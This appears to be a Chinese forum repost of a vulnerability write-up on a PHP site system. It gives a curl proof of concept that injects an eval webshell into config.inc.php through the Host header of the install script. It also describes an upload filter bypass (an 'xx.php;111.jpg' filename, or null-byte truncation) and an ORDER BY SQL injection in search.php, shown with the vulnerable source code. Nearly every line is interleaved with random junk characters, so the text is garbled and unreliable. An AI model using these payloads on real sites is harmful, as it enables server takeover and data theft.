注入:
, n9 m- R) \4 D# H
1 v z1 S) n1 U2 }1 Q7 |( f' K之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码" \% D5 t2 t3 P( d2 r
6 r& `8 ` f" j
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 m9 C' s, K! x V$ L
鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 V, _* O. O6 a4 ]& _
' b+ F! h4 O9 T& n. s: V8 \2 P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响1 W# l6 J/ n& ^+ k& T5 e+ N
) l; L4 r% ~3 R
分析:
/ A3 A0 E" J s6 v" u. @) v
4 P- H* u0 W9 Q! u1 ^ 3 D @. s; [# f* {# c2 [
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤3 y& e& E4 G* _. T0 ]- y x
* z2 W' U5 Z! j/ X9 r+ |8 }
$filestr = fread(fopen($SysConfigFile, 'r'),30000);/ l, H! o, a: h0 A2 ] R1 s6 r: w
$filestr=str_replace(" ","",$filestr);5 f- h: U% h3 C! H2 r
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 a7 T: `7 u, Y* o- I" \# F
$filestr=str_replace("DefaultDbName",$dbname,$filestr);( p s2 x) A& k& [% Q% t
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
) _* a( i* T5 A* B5 X! F $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: w: {) Z$ Q2 ^4 ?, ~
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);) K- @( N+ d# a% I* Z; W
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
5 b K7 R! b. ~6 E* N2 V3 @ $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& ]' @, d" ^) L* c, h2 z6 @; f U8 L
. v9 p3 \4 H2 i2 O
fwrite(fopen($ConFile,"w"),$filestr,30000);) G) R' d% J) U `
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 M; s8 C8 m5 ]# Q( ]. N
1 M; _3 V* h0 q" H$ xpoc:
& Q; X7 L2 O+ u3 A # T0 n- U3 G* b. S6 S/ d7 |
?
( C% S8 l, q/ Z. m$ _1$ U; Y% F; @, |( k
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
$ B& g; s& N7 `* g% N. O# x8 `) Zshell地址: /config.inc.php
- L/ `7 l) ~) G0 {. @( w; o1 A跟之前的 phpcms一样 需要远程数据库' V5 q5 L9 ]$ B9 z
& S7 X# B; z7 R$ F4 C: Q3 H( |——————————————————–
7 E7 c* Y. R' i2 w# T7 {7 H上传漏洞(需要进后台):% a8 M( O ?( M/ T7 D, N
漏洞文件: /kedit/upload_cgi/upload.php; }# x6 P, S& z1 G, `: R
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ G: | @ O: {
" f5 u4 t. n `# y7 b5 [2 `
# |1 C x: N( g( o<?php
( y, R/ @1 O9 p( x2 M F define("ROOTPATH", "../../");
6 b7 }& y# Y+ l include(ROOTPATH."includes/admin.inc.php");
' ]$ F# w2 o3 D$ h3 ? NeedAuth(0);
& j; d4 F; G6 d- M G* g- o5 s( @
1 G, R$ k- }0 v5 e7 f6 ~0 _1 n $dt=date("Ymd",time());
) R' E: B7 O- ]! c+ E/ V5 {1 ^* } if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
0 A7 _; f* t# {. r @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
. J& S8 Z: q+ y }; b. P# g5 Y; U/ U5 I# }" w
3 v$ t. f4 ]2 r) h
//文件保存目录路径
# G* b; S3 [5 Y+ o$ A! U' y $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';$ Z7 x4 z/ T$ A/ ]2 ]1 T
echo $save_path;
5 Z, c7 t7 Z& l, \9 l; x- q+ P* b; s //文件保存目录URL( h1 i, G; @% F& g1 r( A4 Y
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
; V1 E1 F" H+ |1 x
8 T% z( V, l1 C4 h //定义允许上传的文件扩展名$ D! G0 K( s4 e/ g5 W, x* u/ d
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ v; N8 x8 p+ V0 B- E7 x' e
. @3 s; |; h7 L; M! R //最大文件大小
- V9 q2 d7 D; z, x8 w $max_size = 1000000;4 q1 L4 t! M7 D+ v. z) q9 ~9 F
1 H @4 U% S% P0 Y. e/ V/ r //更改目录权限
# V! p. ]7 B% p$ U) W @mkdir($save_path, 0777);- U, ?8 S$ p/ J
8 C4 X4 E6 \2 [1 L: P //文件的全部路径/ o8 f( v' f+ \" |7 {( Y# ^2 a, l
$file_path = $save_path.$_POST['fileName']; //保存文件名1 ]1 L, }& x Q6 _0 K$ j1 C
& z: Z5 Y: G2 R7 o9 ^
//文件URL# {$ f0 ~+ g+ v% g# I
$file_url = $save_url.$_POST['fileName'];! _; X& n3 n+ j7 a* s8 G0 B( @
//有上传文件时
' O; D% j6 n' R# O- Z5 _: s, E if (empty($_FILES) === false) {' o P- Q* L4 F+ x2 h
8 P' u9 [) }% w& e
//原文件名
+ \6 c; T1 F, [/ j" A. W $file_name = $_FILES['fileData']['name'];
1 O8 ^" D+ ?( f/ S //服务器上临时文件名
n x2 W3 [+ U. q* Y $tmp_name = $_FILES['fileData']['tmp_name'];
) }) n/ |" Q; G+ N" r; w //文件大小( L% I/ l' |0 i4 v# U) h3 k
$file_size = $_FILES['fileData']['size'];; Q$ r( ~4 L3 ]9 F8 L! Q( ~9 ~
//检查目录0 D3 l1 J) |0 l7 V! C
if (@is_dir($save_path) === false) {$ p& u4 x$ _/ w5 y& H8 g
alert("上传目录不存在。");
5 t; J3 w+ |1 o5 K: H! w/ y: y }
0 I0 A5 @' J" [" B! ^ //检查目录写权限# i4 y- ]0 @. j/ i
if (@is_writable($save_path) === false) {% B+ O0 A5 }" A; c1 B& C
alert("上传目录没有写权限。");
* P |4 l) n3 Y n, d" B" d }
3 w! G1 r6 Z# F$ T+ | //检查是否已上传
! m1 }8 R+ _, c) j- N if (@is_uploaded_file($tmp_name) === false) {
* u/ N( [- {' j alert("临时文件可能不是上传文件。");
1 Z3 h% y, H' p' k R# t) e }
' @5 j3 Y% A1 G //检查文件大小* k4 \% b) l6 y
if ($file_size > $max_size) {
/ b, j7 v; R* n- [# M; \* V. O alert("上传文件大小超过限制。");5 A- l6 I. C" U1 Q3 Z( P8 J. s+ d% k
}
4 h: S$ `4 L m# m% b4 A //获得文件扩展名
4 E2 F' j* c K$ `( [ $temp_arr = explode(".", $_POST['fileName']);% ^- S% P; y4 T+ o# ]0 h4 k( C( O
$file_ext = array_pop($temp_arr);
4 B( n) g( Y* D/ P, v1 f $file_ext = trim($file_ext);
7 ^4 I. }# \" V& q, n7 l: [6 o" M $file_ext = strtolower($file_ext);
4 H+ w, u8 X0 `' p% ^
& _1 b6 `+ o; q //检查扩展名 - ^* y* {0 @ S1 R7 `7 G* {
if (in_array($file_ext, $ext_arr) === false) { 5 |' ]" X% J2 |( B
alert("上传文件扩展名是不允许的扩展名。");
9 H, r+ Q; d5 F* p& } }
& d6 v$ H. s3 @6 I' ] , v% ?# V6 S4 L1 R+ \- E% M% C
//移动文件 * S% T8 \/ Z+ V/ `4 k# F
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^ H% D: m& m: F( K
if (move_uploaded_file($tmp_name, $file_path) === false) {/ p& w$ W, V: K" M
alert("上传文件失败。");% N# t, T; V1 q( }- o% B. f' r
}
& j6 y0 r6 v1 i- C% h+ l % D: O) B- M5 I4 L1 e! ]; s8 M+ ^9 |
@chmod($file_path,0666);
; e+ C9 D( X9 E' i/ n" a / z8 h: x' c# ^. k) K" L
?>; N3 ^/ s4 Z" m5 O" M+ v& i
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
+ G* s8 u \& A0 V- F
6 @2 H& }6 U' Oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 d3 m8 ^+ r! l1 d) F3 {
" _5 i6 x6 L0 ]) \! W0 t* K——————————————————9 {) r" n( c' ]! R7 Y
注入漏洞:* b# w9 X( V$ g" f3 V0 S
漏洞文件:search/module/search.php7 _: {3 S4 D: S
/search/index.php?key=1&myord=1 [sqlinjection]6 X& X7 @0 Z- q1 H& C# }1 C
Y9 R; W+ ?; i- i 9 u7 R8 F( P8 x+ h
<?php
: u% w8 n" ?: E9 c% o0 D // ... 省略 n 行...# x9 e) ?8 P3 y1 d5 [5 ~ }8 A1 A
//第18行:
( Q: N$ O9 e+ `. @ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响# M+ T( F/ }) q3 B6 g1 z
$page=htmlspecialchars($_GET["page"]);: s+ e6 z3 v: `
$myord=htmlspecialchars($_GET["myord"]);
& n& F- Y3 @6 u% X9 B
# L- Q( o& s7 s. D) `8 _ // ... 省略 n 行...4 r3 l. Y+ `, Y
$key,$myord 两个参数带入查询) g' A: h$ L6 I; @! [2 W
//第47行 $key:
0 v/ W ]( K/ j7 n, m # r5 N( [, O3 r I/ h0 K9 e
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..( v7 h: D$ j: x B* T! N" Y8 m
' n! a) \9 W) i& B# U' F* R7 w; u
//第197行 $myord5 z; @& N- J7 c' _7 v/ M
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入9 I+ S6 R3 H0 B; e, j& a
- t+ H# r W( b' `0 f$ @1 E# N
?>: {# C& F( P. a2 e( m+ Y
|